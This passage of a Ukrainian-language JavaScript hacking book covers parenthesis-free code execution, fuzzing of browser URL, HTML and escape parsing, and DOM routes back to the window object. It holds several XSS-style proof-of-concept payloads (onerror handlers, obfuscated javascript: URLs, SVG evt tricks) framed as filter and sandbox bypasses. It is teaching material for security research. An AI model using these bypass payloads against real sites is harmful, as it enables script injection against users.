Function`x${'alert\x281337\x29'}`//generates a function
```

Якщо ви оціните вище, ви помітите, що це генерує анонімну функцію з “x” як аргументом і тілом функції, але вона не буде виконуватись. Нам потрібно викликати функцію, щоб вона виконувалась, як ми дізналися в першому розділі, ми можемо використовувати будь-який вираз у позначеному шаблоні. Тому, щоб викликати нашу згенеровану функцію, нам просто потрібно додати “ в кінці нашого виразу:

Рисунок 41. Позначені шаблони з заповнювачами як рядки, використовуючи конструктор функцій і викликаючи його двічі

```
Function`x${'alert\x281337\x29'}```//generates and calls the function
```

Що цікаво в виразах-заповнювачах, так це те, що вони відокремлені від рядків як інший аргумент, як ми вже спостерігали. Але не тільки це, їх тип також зберігається, тому ми можемо передати масив рядків як перший аргумент і будь-який тип у другий аргумент і так далі. Це може створити дещо дивний вигляд JavaScript, який є цілком правильним.

Спробуймо зловживати цією функціональністю, спочатку з setTimeout. Ви можете використовувати 3 аргументи з setTimeout: перший — це рядок або функція для виклику, другий — кількість мілісекунд до виклику функції, і третій — аргументи, які потрібно передати функції за умови, що перший аргумент є функцією, а не рядком. Поєднуючи всі ці знання, ви можете подумати, що наступне буде працювати:

Рисунок 42. Позначений шаблон із setTimeout не працюватиме

```
setTimeout`${alert}${0}${1337}`//doesn't work
```

Причина, чому це не працює, полягає в тому, що порожній масив рядків надсилається як перший аргумент, а не наша функція alert! Ми повинні знайти інший спосіб виконання довільного JavaScript. У першому розділі ми дізналися про apply та call, ми можемо використати call тут, щоб призначити масив рядків значенню “this” функції, і це означало б, що перший заповнювач буде використано як перший аргумент для функції setTimeout. Давайте спробуємо і подивимося, що станеться:

Рисунок 43. Шаблон з тегами та call

```
setTimeout.call`${alert}${0}${1337}`//doesn't work Illegal invocation
```

Це не працює, тому що значення this більше не є об’єктом window, і setTimeout видасть помилку незаконного виклику, якщо це так. Якщо ми спробуємо використати рядок замість заповнювача, це працюватиме нормально, тому що лише рядок передається у функцію setTimeout як перший аргумент, а другий і третій будуть пропущені, і значення this буде об’єктом window:

Рисунок 44. Використання тегованого шаблону з setTimeout без виклику

```
setTimeout`alert\x281337\x29`
```

Наша підціль тут - викликати будь-яку функцію, використовуючи заповнювачі, нам якось потрібно обійти обмеження помилок незаконного виклику. Щоб це зробити, давайте розглянемо способи виклику alert. Ми бачили, що ви можете використовувати onerror=alert для виклику, але що щодо інших способів. Якщо подумати, вам потрібен JavaScript API, який дозволяє викликати функцію, передаючи посилання на неї, це дозволило б нам

викликати функції із заповнювачів. Перше, що потрібно зробити тут, це перевірити різні методи, які є у нас в наявності, ви можете зробити це за допомогою консолі, веб-додатку або спеціального інспектора. Я вибрав останнє і використав свій інструмент Hackability Inspector, який я написав. Я використав інспектор для переліку методів рядка і згадав, що функція заміни дозволяє використовувати функцію, коли знайдено відповідний збіг. Якщо я передам посилання на функцію alert, то, можливо, replace можна буде використати для виклику alert:

Рисунок 45. Функція заміни, використовуючи alert як зворотний виклик

```
'a'.replace(/./,alert)//calls alert with a
```

Це виглядає перспективно. Ми використовуємо рядок "a", regex для його знаходження і потім вказуємо функцію alert, яку потрібно викликати, коли буде знайдено збіг. Однак є кілька проблем: ми використовуємо regex, і regex має збігатися, і саме цей збіг буде передано у функцію як аргумент. На щастя, функція replace дозволяє вказати як рядок, так і regex, що означає, що ми можемо використовувати масив збігів у тегованому шаблоні, оскільки він буде перетворений з масиву в рядок:

Рисунок 46. Функція replace використовується як тегований шаблон

```
'a,'.replace`a${alert}`//calls alert with a,
```

Це трохи дивно. Нам потрібно передати кому теж, тому що масиви перетворюються на рядок. Як ми можемо це обійти? Один зі способів - використати call, щоб змінити значення this, що означає, що ми могли б контролювати аргумент збігу і могли б використовувати regex, щоб відповідати будь-якому символу:

Рисунок 47. Замінити функцію з використанням call як тегованого шаблону

```
'a'.replace.call`1${/./}${alert}`//calls alert with 1
```

Що відбувається вище, це виклик функції заміни з call, це призначає "this" до збігів тегованого шаблонного рядка "1,", ми використовуємо регулярний вираз, і оскільки використовується call, ми передаємо цей регулярний вираз як перший аргумент функції заміни, і регулярний вираз збігається з будь-яким одиничним символом (крім нових рядків), тоді ми передаємо посилання на функцію alert, що призводить до виклику alert з 1. Фух. Це досить божевільно, правда? Хто знав, що шаблонні рядки можна так зловживати? Хороший виклик тут - чи можете ви викликати alert з 1337 замість 1.

Ви можете викликати майже будь-яку функцію з цією технікою та будь-якими аргументами, використовуючи об'єкт Reflect. Так що ж це таке об'єкт Reflect? Ну, він дозволяє виконувати операції, як виклик функції, операцію get/set на будь-якому об'єкті. Його можна використовувати замість call та apply, наприклад, тому що він має спеціальний метод apply, який можна використовувати для виклику функцій на будь-якому об'єкті. Ви просто передаєте функцію, об'єкт і аргументи, які хочете передати функції. Як згадувалося, його можна використовувати для інших операцій також, але поки що давайте зосередимося на методі apply:

Рисунок 48. Reflect apply з використанням виклику як тегованого шаблону

```
Reflect.apply.call`${alert}${window}${[1337]}`//alert is called with 1337
```

Давайте розберемося, що тут відбувається: ми передаємо функцію, яку хочемо викликати, в цьому випадку “alert”, ми передаємо значення “this” цій функції, в цьому випадку “window”, що дозволяє уникнути помилки незаконного виклику, і нарешті, ми передаємо масив аргументів, які хочемо передати функції. “Call” використовується для уникнення передачі пустого масиву рядків як першого аргументу, як вже згадувалося раніше. Метод Reflect apply не вимагає конкретного значення “this” і із задоволенням виконається з будь-яким об’єктом, призначеним “this”.

Ми можемо зробити те саме для інших операцій, таких як set. Метод set об’єкта Reflect дозволяє виконати операцію встановлення на будь-якому об’єкті. Це можна продемонструвати шляхом присвоєння об’єкту location:

Рисунок 49. Reflect set з використанням call як позначений шаблон

```
Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}`
//assigns a javascript url
```

Метод set вимагає дійсного об’єкта як першого аргументу, в даному випадку “location”, властивість як другого аргументу та значення для призначення як третього.

2.5: Символ has instance

Останній метод, який я хочу обговорити, це використання символу has instance. Символи дозволяють визначити унікальний токен у ключах властивостей. Вони є способом забезпечення унікальності вашого ключа. Існують вбудовані символи, які можна використовувати для виконання різних операцій. JavaScript використовує символи таким чином, щоб уникнути використання спеціальних властивостей, які конфліктують з існуючим кодом у мережі. Символ “has instance” дозволяє вам налаштувати поведінку оператора instanceof, якщо ви встановите цей символ, він передасть лівий операнд функції, визначеній цим символом. Це пропонує акуратний спосіб виконання JavaScript без дужок:

Рисунок 50. Використання символу hasInstance для зміни результатів оператора instanceof

```
'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}//calls alert(1337)
```

У наведеному вище прикладі ми визначаємо наш payload у рядку перед оператором instanceof і використовуємо новий літеральний об’єкт із символом “hasInstance”, призначаючи функцію eval. Потім, коли оператор instanceof працює з рядком і об’єктом, рядок передається до eval, і буде викликана функція alert. Ви можете використовувати символ таким чином без квадратних дужок:

Рисунок 51. Використання символу hasInstance для зміни результатів оператора instanceof

```
'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval}//calls alert(1337)
```

2.6: Підсумок

У цьому розділі розглянуто, як визначити мету та підцілі в рамках цієї мети. Це дозволило вам швидко вивчати різні функції JavaScript і уникнути ситуації, коли ви дивитеся на порожній екран. Наявність чітких цілей допомагає зосередитися на цікавих функціях і забезпечити постійне навчання. У цьому розділі ми дізналися про обробник onerror і як його використовувати для виконання JavaScript без дужок, перейшли до тегованих шаблонних рядків і виявили несподівану поведінку використання заповнювачів для передачі аргументів функціям з їхнім типом, а також розглянули символ hasInstance та як його використовувати для хакінгу JavaScript.

3: Розділ третій - Фаззинг

3.1: Правда

Коли йдеться про фаззинг, часто вважають, що його використовують для виявлення експлуатованих вразливостей або збоїв. Звісно, ви можете використовувати фаззинг для цього, і я знаходив вразливості в минулому, але ви також можете використовувати фаззинг, щоб дізнатися про поведінку браузера, і саме про це йдеться в цьому розділі. Фаззинг заощадить вам багато часу і допоможе швидко розвинути ваші знання з JavaScript. Часто спокушаєтесь звернутися до специфікації як до джерела правди щодо певної поведінки в JavaScript, але це неправильний підхід, оскільки різні браузери можуть мати свої власні особливості, які не відповідають специфікації, або ж вони можуть бути неправильно реалізовані. Я не кажу, що не слід використовувати специфікацію, просто не вірте їй сліпо і використовуйте фаззинг, щоб відкрити правду.

Моїм першим кроком у поведінковому фаззингу було знайти символи, які були дозволені в URL протоколу JavaScript. Я почав з створення URL JavaScript всередині атрибуту href якоря і вручну впроваджував HTML сутності та наводив курсор на посилання, щоб перевірити, чи це все ще протокол JavaScript. Я подумав, що має бути кращий спосіб. На той час я вважав, що найкращий спосіб зробити це буде на серверній мові програмування, такій як PHP. Тому я створив інструмент для фаззингу, який перебирає символи частинами і повідомляє результати. Це було ще у 2008 році, і він знайшов багато цікавих результатів:

Рисунок 52. JavaScript URL з сутностями всередині

```
jav&#56325ascript:al&#56325ert(1)// used to work in Firefox 2!
```

Це чудовий приклад того, чому вам потрібен fuzzing, інакше вам довелося б вручну редагувати понад 56,000 сутностей, щоб знайти цю помилку. І це ще за умови, що ви хочете тестувати лише сутності, а не сирі символи! Вам потрібен fuzzing у вашому житті, щоб зробити речі набагато простішими. У 2008 році комп'ютери були набагато повільнішими, ніж зараз, і у мене був поганий повільний ноутбук, тож я робив це частинами. У наш час комп'ютери та браузери набагато швидші, ви можете буквально протестувати мільйони символів за кілька секунд.

3.2: Тестування JavaScript URL

Мій підхід до fuzzing змінився з появою сучасних браузерів, тепер я використовую innerHTML і властивості DOM. Вам потрібно використовувати обидва, тому що вони дають різні

результати, слідуючи різним шляхам коду. Припустимо, ми хочемо тестувати JavaScript URL у сучасному браузері, перший спосіб - це використовувати DOM:

Рисунок 53. Тестування JavaScript URL

```
log=[];
let anchor = document.createElement('a');
for(let i=0;i<=0x10ffff;i++){
    anchor.href = `javascript${String.fromCodePoint(i)}:`;
    if(anchor.protocol === 'javascript:') {
    log.push(i);
    }
}
console.log(log)//9,10,13,58
```

Розглянемо цей досить простий код: спочатку ми створюємо масив і якорь, а потім перебираємо всі можливі коди символів Unicode (їх більше 1,000,000), потім ми призначаємо href і вставляємо наш код за допомогою функції String.fromCode і розміщуємо символ(и) після рядка JavaScript. Властивість протоколу використовується для перевірки того, чи є згенероване посилання дійсно протоколом JavaScript. Дивовижно, але браузер виконає цю операцію за кілька секунд. Якщо ви старі, як я, і пам'ятаєте, коли подібні речі просто призводили до DoS у браузері. Тепер, щоб фузити інші частини href, нам просто потрібно перемістити заповнювач. Чи будемо фузити початок рядка JavaScript? Змініть заповнювач на:

Рисунок 54. Зміна положення fuzz-рядка

```
anchor.href = `${String.fromCodePoint(i)}javascript:`;
```

При повторному виконанні цього коду ми отримуємо різні результати:

```
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3\
1,32
```

Багато більше символів, зверніть увагу на NULL на початку (код символу 0 - це NULL, коли виражений як символ), це специфічно для шляху коду DOM. Це не працюватиме при використанні в звичайному HTML. Ось чому вам потрібно fuzz обидва стилі - DOM та innerHTML. Перше, що потрібно зробити, коли ви виконали операцію fuzz і отримали цікаві результати - це перевірити їх. Це легко зробити, ви просто вручну відтворюєте DOM, який ви fuzz. Отже, виберіть випадкову точку коду і давайте згенеруємо код DOM для неї і натиснемо, щоб підтвердити, що це працює:

Рисунок 55. Демонструє використання символу form feed перед протоколом

```
let anchor = document.createElement('a');
anchor.href = `${String.fromCodePoint(12)}javascript:alert(1337)`;
anchor.append('Click me')
document.body.append(anchor)
```

Я вибрав кодову точку 12 (переведення сторінки), створив URL JavaScript, який викликає alert, додав трохи тексту до якоря і нарешті додав його до елемента body. При натисканні на посилання має викликатися alert, і тепер ви підтвердили, що ваш fuzz-код дійсно працює. Спробуйте експериментувати з різними кодовими точками, щоб переконатися, що він працює належним чином. Кілька питань, які слід задати собі: “Чи можна використовувати кілька символів?” або “Чи можна використовувати кілька символів у різних позиціях?”. Я залишу це вам як вправу для відповіді на ці питання.

Одне, що варто пам’ятати при роботі з DOM, це те, що HTML-сутності не декодуються при безпосередньому редагуванні властивостей, крім тих, що базуються на HTML. Тому немає сенсу використовувати атрибут href для спроб fuzz HTML-сутностей. Для цього вам доведеться використовувати innerHTML. Давайте спробуємо той самий символ у HTML і подивимося, чи працює він:

Рисунок 56. Демонструє використання символу переведення сторінки перед протоколом

```
<a href="&#12;javascript:alert(1337)">Test</a><!-- JavaScript protocol works -->
```

Це працює загалом так, де ви бачите результати для DOM, ви можете використовувати їх у HTML з сутностями. Як вже згадувалося, була одна виняткова ситуація, пам’ятаєте NULL на початку? Це працює в DOM, але не в HTML:

Рисунок 57. Показує, що сутність null не працює в HTML

```
<a href="&#0;javascript:alert(1337)">Test</a><!-- JavaScript protocol doesn't work -\
->
```

Вищезгадане не працює, і саме тому важливо перевіряти свої результати та тестувати їх у DOM та в innerHTML або HTML. Як ви можете бачити, тут є багато можливостей для автоматизації, і використання Puppeteer або іншого фреймворку може бути хорошою ідеєю для перевірки результатів, замість того щоб робити це вручну кожного разу.

3.3: Фаззинг HTTP URL

Можливо також здійснювати фаззинг HTTP URL, але замість використання протоколу, ви можете використовувати ім’я хоста, щоб дізнатися, чи було це успішно. Ви створюєте цикл for, як і раніше, щоб пройти через кодові точки Unicode і вставити символ у “href”, а потім перевірити, що ім’я хоста відповідає очікуваному значенню.

Рисунок 58. Фаззинг HTTP URL

```
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `${String.fromCodePoint(i)}https://garethheyes.co.uk`;
    if(a.hostname === 'garethheyes.co.uk'){
    log.push(i);
    }
}
console.log(log)
//0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30\
,31,32
```

Наведений вище код показує, що HTTP URL підтримують точно ті самі символи, що й на початку JavaScript URL. Знову зверніть увагу, що NULL символ підтримується в DOM, але не в HTML контексті. Щоб знайти відкриті перенаправлення на стороні клієнта, які можуть бути корисними в ланцюгах помилок, можливо, вам захочеться провести fuzz-тестування протокол-відносних URL. У випадку, якщо ви не знаєте, протокол-відносні URL дозволяють вам посилатися на зовнішній URL, використовуючи подвійний слеш. Вони успадковують поточний протокол сторінки, наприклад, якщо сайт використовує HTTPS://, протокол-відносний URL використовуватиме цей протокол. Давайте проведемо fuzz-тестування всередині слешів, щоб побачити, які символи підтримуються:

Рисунок 59. Fuzz-тестування HTTP URL

```
a=document.createElement('a');
log=[];
for(let i=0;i<=0x10ffff;i++){
    a.href = `/${String.fromCodePoint(i)}/garethheyes.co.uk`;
    if(a.hostname === 'garethheyes.co.uk'){
        log.push(i);
    }
}
input.value=log//9,10,13,47,92
```

Як ви можете бачити, ви можете розміщувати пробільні символи між косими рисками, а також символ зворотної косої риси може використовуватись так само, як і пряма коса риска.

3.4: Фаззинг HTML

Ми вже бачили, як фаззити JavaScript URL, але ми також можемо використовувати той самий підхід при фаззингу HTML. Використовуючи API innerHTML, ми можемо дуже

швидко виявляти особливості парсера, як ми це робили з властивостями DOM. Перед початком варто поставити собі питання як ціль для фаззингу. Наприклад, я запитав себе: “Які символи дозволені в закриваючих HTML коментарях?”. Щоб відповісти на це питання, давайте подумаємо, як його досягти: якщо HTML коментар закритий, то наступний тег після коментаря має бути відображений! Таким чином, ми можемо просто перевірити, чи відображений цей HTML елемент, використовуючи API querySelector. Ось як це робиться:

Рисунок 60. Фаззинг HTML коментарів

```
let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
  div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
if(div.querySelector('span')){
log.push(i);
}
}
console.log(log)//33,45,62
```

Це дуже схоже на fuzzing властивостей DOM, і ви можете помітити, що це займає трохи більше часу, оскільки браузеру потрібно виконати більше роботи. Ми створюємо елемент div, знову проходимо через всі кодові точки Unicode, але цього разу використовуємо innerHTML, щоб створити HTML коментар, прямо перед закриваючим символом більше ми вставляємо наш символ Unicode. Якщо коментар закритий, наступний span не буде відображений, і, отже, querySelector для span буде null. Ми хочемо дізнатися, чи спрацював коментар, тому коли елемент span знайдено, ми фіксуємо результати. Я спробував це в Chrome, і будь-який із наступних символів закриває коментар після подвійного дефісу: !-->

Ви можете спробувати це в інших браузерах і експериментувати, переміщаючи заповнювач у різні частини закриваючого тега коментаря. Я запускав дуже схожий код у Firefox кілька років тому і виявив, що можна використовувати нові рядки перед знаком більше! Можна використовувати querySelector і в зворотному напрямку, можна перевірити, чи спрацював початковий тег коментаря, перевіривши, що наступний span не був відображений. Справді, я використав цю техніку, щоб знайти ще один недолік парсингу в Firefox, який дозволяв використовувати NULL всередині дефісів відкриваючого тега коментаря.

Рисунок 61. Fuzzing HTML коментарів після дефісу

```
let log=[];
let div = document.createElement('div');
for(let i=0;i<=0x10ffff;i++){
    div.innerHTML=`<!-${String.fromCodePoint(i)}- ><span></span>-->`;
    if(!div.querySelector('span')){
        log.push(i);
    }
}
console.lgo(log)//45
```

Це той самий код, що й раніше, за винятком того, що плейсхолдер знаходиться всередині початкового тегу коментаря, а querySelector перевіряє, чи існує span. Ви повинні отримати один результат 45 для дефісу, якщо ви бачите більше, ніж це, тоді у вас є помилка браузера. Одне, що потрібно пам'ятати при fuzzing, це переконатися, що ваша згенерована розмітка не створює хибних спрацьовувань, наприклад, ви можете побачити, що після пробілу і дефісу є дуже навмисний знак більше. Це запобігає споживанню span як іншого тегу різними символами fuzzing. Корисно кодувати захисно, оскільки це заощадить вам час.

3.5: Fuzzing відомих поведінок

Якщо ви не знаєте, з чого почати при fuzzing для нової поведінки браузера, ви завжди можете почати з існуючої поведінки і подивитися, чи є якісь відхилення. Добре місце для початку - пробіл, вам потрібно лише створити fuzz рядок, який з'явиться лише в тому випадку, якщо символ є пробілом. Найкращий спосіб, який я знайшов для цього, це використання виклику функції. Ви можете мати пробіл між ідентифікатором функції та дужками, тому ви можете визначити функцію в блоці try catch і спробувати викликати її з ідентифікатором та доданим символом за допомогою eval.

Рисунок 62. Символи fuzzing між ідентифікатором і дужками

```
function x(){}

log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`x${String.fromCodePoint(i)}()`)
        log.push(i)
    }catch(e){}
}

console.log(log)
```

```
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
232,8233,8239,8287,12288,65279
```

Це доволі велика кількість символів, хоча це лише доводить, що пробіли можуть використовуватися між ідентифікатором і дужками для проведення всебічного фаззінгу. Вам доведеться мати різні позиції для символу та більше контекстів. Я залишу це вам, щоб протестувати різні браузери. Якщо ви знайдете несподівану поведінку, ви можете повідомити про це. Для чого можна використовувати ці відхилення? Раніше я використовував їх для виходу з пісочниці JavaScript, оскільки, якщо ви можете обдурити парсер, щоб він неправильно розбирав символ як не-пробіл, коли він насправді є пробілом, тоді ви можете змусити ваш JavaScript бути розібраним одним чином пісочницею і іншим браузером або NodeJS.

Ви також можете використовувати пари символів для фаззінгу рядків, це зазвичай буде приблизно з тією ж швидкістю, щоб фаззити дубльовані символи, речі стають повільними, коли ви використовуєте вкладений фаззінг. Можливо, нам доведеться почекати кілька років, поки це стане практичним. Фаззінг для рядків досить простий; вам просто потрібно використовувати пару символів і переконатися, що відбулася поведінка, схожа на рядок. Один із способів зробити це - використати блок try catch і eval і переконатися, що купа випадкових символів не викликає виняток при використанні пари символів. Це буде вказувати на те, що є поведінка, схожа на рядок.

Рисунок 63. Фаззінг для поведінки, схожої на рядок

```
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
        log.push(i)
    }catch(e){}
}
console.log(log)//34,39,47,96
```

Чи очікували ви три символи? Чи можете ви подумати, який інший символ викличе поведінку, схожу на рядок? Regexes звичайно ви можете використовувати пару косих рис для інкапсуляції символів, і це не викличе виключення, оскільки символи будуть оброблятися як regex. Chrome працює досить швидко з цією операцією, але на момент тестування Firefox був надзвичайно повільним.

Ви можете застосувати вищевказану логіку для fuzz для однорядкових коментарів, замість того, щоб розміщувати заповнювачі на обох кінцях випадкового рядка, ви можете розмістити їх перед для їх виявлення. Тепер давайте знайдемо однорядкові коментарі:

Рисунок 64. Fuzzing для однорядкових коментарів

```
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`${String.fromCodePoint(i,i)}%$£234$`)
        log.push(i)
    }catch(e){}
}
console.log(log)//47
```

Ми виявили слеш, як і очікувалося. Ви можете побачити, що створення фазз-векторів для пошуку цікавих поведінкових патернів є справжнім мистецтвом. Потрібно враховувати, як буде виконуватися фазз-вектор і в якому контексті, щоб уникнути помилкових спрацьовувань.

Нарешті, у цьому розділі ми розглянемо вкладене фаззування, щоб знайти цікаву поведінку JavaScript-коментарів, про яку ви, можливо, не знали. Вкладене фаззування є складним завданням, оскільки воно включає набагато більше символів, і наразі сучасні браузери недостатньо потужні, щоб виконувати кілька циклів for з кодовими точками, що перевищують 0xff. Однак, якщо зменшити кількість тестованих кодових точок, це все одно може дати цікаві результати.

Рисунок 65. Фаззування однорядкових коментарів

```
log=[];
for(let i=0;i<=0xff;i++){
    for(let j=0;j<=0xfff;j++){
        try {
            eval(`${String.fromCodePoint(i,j)}%$£234$`)
            log.push([i,j])
        }catch(e){}
    }
}
console.log(log)//[35,33],[47,47]
```

Ми використали два вкладені цикли for цього разу, ми мали обмежити кількість символів, як обговорювалося з міркувань продуктивності. Потім я використав метод fromCodePoint, щоб додати два символи, один з кодових точок у кожному циклі, і додав трохи сміття після символів, щоб довести, що коментар відбувається. Ми додаємо масив із обох символів, оскільки обидва необхідні для створення коментаря. Ми отримали очікуваний подвійний слеш, але що це? 35 і 33, які є “#!”, діють як однорядковий коментар, за умови, що вони знаходяться на початку виконуваного JavaScript. Ви можете перевірити свої результати, спробувавши виконати alert з цим коментарем.

Рисунок 66. Демонстрація поведінки шибангу в JavaScript

```
#!
alert(1337)//executes alert with 1337
```

Якщо додати будь-який символ перед гешем, це не спрацює:

Рисунок 67. Показано, що shebang працює лише на початку

```
123
#!
alert(0)//alert will not be called.
```

У наведеному вище прикладі, якщо перед хешем є будь-які символи, коментар не спрацює. Шебанг, ймовірно, був доданий як послідовність коментарів через те, що JavaScript використовувався як скрипти оболонки з NodeJS, тому поширеним випадком використання було ігнорування його.

3.6: Фаззинг екранувань

У моїх спробах зламати пісочниці JavaScript я зайнявся фаззингом різних екранувань, таких як юнікод-екрани, про які йшлося у вступному розділі. Це призвело до того, що я знайшов цікаву поведінку в різних браузерах. Я виявив, що в Safari не виникатиме виняток при зустрічі незакінчених юнікод-екранів у рядках. Старий Opera (до Chromium) також неправильно розбирав юнікод-екрани, коли вони передавалися в eval. Таку поведінку можна використовувати для втечі з пісочниць, якщо вам пощастить, але як їх знайти? Звичайно, фаззинг! Потрібно лише бути обізнаним про контекст, у якому ви проводите фаззинг, і чи потрібне подвійне кодування. Почнемо фаззинг простого юнікод-екрану:

Рисунок 68. Фаззинг юнікод-екранів

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try{
        eval(`\\u{${String.fromCodePoint(i)}0061}`);
        log.push(i);
    }catch(e){}
}
console.log(log)//48
```

У наведеному вище коді я використовую fuzzing для всіх юнікод символів, як було описано раніше в розділі. Цього разу я визначив змінну “a”, яка використовується для перевірки,

чи eval викидає виняток. Eval викидає виняток, якщо код намагається отримати доступ до невизначеної змінної. У цьому випадку ми хочемо знати, чи успішно отримано доступ до “a”. Ми використовуємо формат юнікод escape \u{} і потрібно escape саму зворотну косу риску, тому що ми хочемо, щоб eval інтерпретував юнікод escape. У заповнювач ми додаємо наш fuzz символ. Під час fuzzing всіх символів ми отримуємо один результат “48”, що є кодом символу для нуля. Таким чином, ми визначили, що цей формат юнікод escape дозволяє нульову підкладку за допомогою чистого fuzzing.

Ви можете не тільки виконувати fuzzing для символів, а й для hex, змінюючи заповнювач. Кожен числовий літерал має метод toString, який дозволяє вам вказати основу (radix), що перетворить ціле число в задану основу від 2 до 36. Шістнадцяткова система використовує основу 16, тому нам потрібно передати radix значення 16, щоб перетворити його на hex:

Рисунок 69. Fuzzing юнікод escape

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try {
        eval(`\\u{${i.toString(16)}}`);
        log.push(i);
    } catch(e){}
}
console.log(log)//97,105
```

Код вище перебирає всі кодові точки та перетворює значення на шістнадцяткове, щоб перевірити, чи унікод-втеча призводить до посилання на змінну. Ми маємо два результати: кодові точки 97 та 105, які є символами “a” та “i”, обидва задекларовані нами. Ви можете змішувати і поєднувати fuzz-рядки з символами та шістнадцятковими значеннями, щоб перевірити, чи дозволяє JavaScript-движок певні символи перед, всередині або після шістнадцяткового значення. Спробуємо це зараз і подивимось, чи дозволяє JavaScript-движок будь-який символ всередині шістнадцяткового значення:

Рисунок 70. Тестування ES6 стилю уникод-переходів

```
let a = 123;
log=[];
for(let i=0;i<=0x10ffff;i++){
    try{
        eval(`\\u{${String.fromCodePoint(i)}61}`);
        log.push(i);
    }catch(e){}
}
console.log(log)//48
```

Наведений вище код використовує заповнювач для додавання символу перед шістнадцятковим значенням унікод-ескейпу. Ми отримуємо один результат у Chrome, який є кодом символу 48, що є числом нуль, як і очікувалося, але варто спробувати на інших браузерах, щоб побачити, чи отримуєте ви ті самі результати.

3.7: Підсумок

У цьому розділі я сподіваюся, що навчив вас новому вмінню створювати fuzz-вектори! Ми говорили про те, що не варто довіряти специфікаціям, а шукати власні способи знайти, як працює JavaScript. Я показав вам, як використовувати властивості DOM для фуззингу JavaScript та HTTP URL. Ми розглянули, як можна використовувати innerHTML, щоб дізнатися, як парситься HTML. Нарешті, ми завершили фуззингом відомих поведінок, щоб знайти відхилення, і виявили відносно невідомий однорядковий коментар у JavaScript. Далі ми розглянули, як фуззити унікод-ескейпи, використовуючи шістнадцяткове значення та вставляючи символи у згенерований шістнадцятковий код, щоб визначити, чи дозволяє рушій JavaScript пробіли або інші символи в унікод-ескейпі.

4: Глава четверта - DOM для хакерів

4.1: Де моє вікно?

У цій главі ми будемо зламувати DOM, щоб краще його зрозуміти і, сподіваємось, навчити вас новим технікам, про які ви раніше не знали. Спочатку мета цього розділу - отримати об'єкт вікна через DOM. Чому ми хочемо отримати вікно? Вікно або глобальний об'єкт у node дуже важливі для виходу із пісочниці, оскільки вони дозволяють отримати доступ до глобально визначених функцій, таких як eval, що дозволяє виконувати довільний JavaScript, який може обійти пісочниці. Є багато псевдонімів для об'єкта вікна: frames, globalThis, parent, self, top. Якщо ваш сайт не вбудований у фрейм, то parent і top будуть вказувати на об'єкт вікна, якщо він у фреймі, то top буде вказувати на найвище вікно незалежно від того, чи це крос-доменний фрейм чи ні. "parent", як ви очікували, вказує на батьківську сторінку поточного фрейму. Є також спосіб отримати доступ до об'єкта вікна з вузла DOM, document.defaultView зберігає посилання на поточний об'єкт вікна. Спробуйте це в консолі вашого браузера:

Рисунок 71. Виклик alert за допомогою defaultView

```
document.defaultView.alert(1337)//calls alert with 1337
```

Код вище викликає функцію alert, використовуючи властивість defaultView об'єкта document, щоб отримати посилання на об'єкт window. Властивість defaultView доступна лише в об'єкті document, однак є хитрість отримати об'єкт document з вузла DOM і потім отримати доступ до властивості defaultView з об'єкта document. Ви можете використати властивість під назвою ownerDocument, і, як вказує назва, ви можете отримати об'єкт document, який використовується вузлом DOM:

Рисунок 72. Отримання доступу до defaultView через ownerDocument

```
let node = document.createElement('div');
node.ownerDocument.defaultView.alert(1337)
```

Багато пісочниць було зламано за допомогою цих знань, оскільки доступ до об'єкта "window" зазвичай блокується; ці обхідні шляхи дозволяють знову отримати до нього доступ.

Події є ще одним способом отримання об'єкта window. Коли ви використовуєте подію на вузлі DOM, обробник визначається з аргументом події, це для того, щоб обійти той факт, що раніше, коли Internet Explorer був широко популярним, він використовував глобальну змінну під назвою "event". Сучасні браузери визначають подію як аргумент обробника, таким

чином, коли подія доступна, вона є локальною змінною. Цікаво, що глобальний об'єкт event існує і сьогодні, але він застарілий. У Chrome є властивість path для кожної помилкової події, і це масив об'єктів, які призвели до створення події. Останнім елементом у масиві є об'єкт window, ви можете отримати об'єкт window, просто прочитавши його. Для цього зручно використовувати функцію pop():

Рисунок 73. Використання event.path для доступу до window

```
<img src onerror=event.path.pop().alert(1337)>
```

Chrome з того часу видалив властивість path з об'єкта події. Хороша новина в тому, що ми можемо використовувати стандартизований метод composedPath() нижче.

В інших браузерах ви можете використовувати стандартизований метод composedPath(), який повертає масив, еквівалентний властивості path у Chrome. Це означає, що ви можете викликати composedPath і отримати останній елемент масиву, який буде містити об'єкт window у кожному браузері:

Рисунок 74. Використання composedPath() для доступу до window

```
<img src onerror=event.composedPath().pop().alert(1337)>
```

Пам'ятаєте, коли я казав, що кожен обробник додає аргумент з об'єктом події? Є особливий випадок для елементів SVG. Браузер не додає "event", а замість цього "evt", що означає, що ви можете отримати доступ до об'єкта window, використовуючи цей аргумент так само, як і методи path та composedPath():

Рисунок 75. Використання evt для доступу до об'єкта події в SVG

```
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>
```

Щоб знайти це, я не читав вихідний код Chrome, натомість я подивився на код обробника подій і побачив визначення там. Якщо ви запустите це в Chrome, ви можете побачити, як визначена функція обробника:

Рисунок 76. Отримання вихідного коду обробника onerror

```
<svg><image href=1 onerror=alert(onerror)>
```

Що призводить до наступного коду:

Рисунок 77. Показує джерело обробника onerror

```
function onerror(evt) {//event is referenced with evt
    alert(onerror)
}
```

Отже, evt вказує на подію. Це, здається, стосується елементів SVG, але цікаво, чи є й інші? Варто витратити трохи часу, щоб перевірити, чи є ще якісь, тому що вони корисні, коли JavaScript-пісочниця захищає вас від доступу до об'єкта події.

